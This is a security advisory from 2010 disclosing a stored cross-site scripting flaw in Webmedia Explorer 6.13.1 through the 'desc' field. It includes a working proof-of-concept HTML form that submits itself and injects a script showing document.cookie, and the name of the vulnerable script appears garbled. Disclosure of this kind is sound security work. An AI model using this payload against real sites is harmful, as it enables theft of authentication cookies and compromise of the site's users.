Webmedia Explorer 6.13.1 – Persistent Cross-Site Scripting
Vulnerability ID: HTB22661 Reference: http://www.htbridge.ch/advisory/stored_xss_vulnerability_in_webmedia_explorer.html Product: Webmedia Explorer Vendor: Marc Salmurri ( http://www.webmediaexplorer.com/ ) Vulnerable Version: 6.13.1 and probably prior versions Vendor Notification: 19 October 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "6.13.1!">" script to properly sanitize user-supplied input in "desc" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/folder" method="post" name="main"> <input type="hidden" name="object" value="folder"> <input type="hidden" name="desc" value='title"><script>alert(document.cookie)</script>'> <input type="hidden" name="tags" value=""> <input type="hidden" name="position" value=""> <input type="hidden" name="readme" value="post txt"> </form> <script> document.main.submit(); </script> |